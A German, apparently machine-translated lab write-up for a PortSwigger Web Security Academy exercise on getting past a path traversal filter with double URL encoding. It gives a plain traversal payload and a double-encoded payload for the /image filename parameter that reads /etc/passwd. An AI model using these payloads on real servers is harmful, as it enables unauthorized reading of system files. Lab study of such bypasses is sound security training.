> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/path-traversal/path-traversal-bypass-via-double-url-decoding.md).
# Umgehung von Path Traversal per doppelter URL-Dekodierung
Notizen zur Umgehung von Path Traversal per doppelter URL-Dekodierung für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.
### Dateipfad-Traversal, Traversal-Sequenzen werden durch überflüssiges URL-Decodieren entfernt
Diese Übung zeigt eine Path-Traversal-Schwachstelle beim Anzeigen der erzeugten Bilder. / Die Anwendung blockiert die Traversal-Sequenzen im vom Benutzer angegebenen Dateinamen und führt dann vor der Verwendung dieses Werts eine zusätzliche URL-Decodierung durch.
Das Ziel ist es, den Inhalt der `/etc/passwd` Datei vorhanden sind.
Die folgende Standardnutzlast funktioniert nicht:
```bash
../../../../../etc/paswd
```
Um diesen Filter zu umgehen, besteht eine Technik darin, **die URL zweimal zu kodieren** und sie im `Dateinamen` Parameter des `/image` Endpunkts:
{% code overflow="wrap" %}
```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```
{% endcode %}
---
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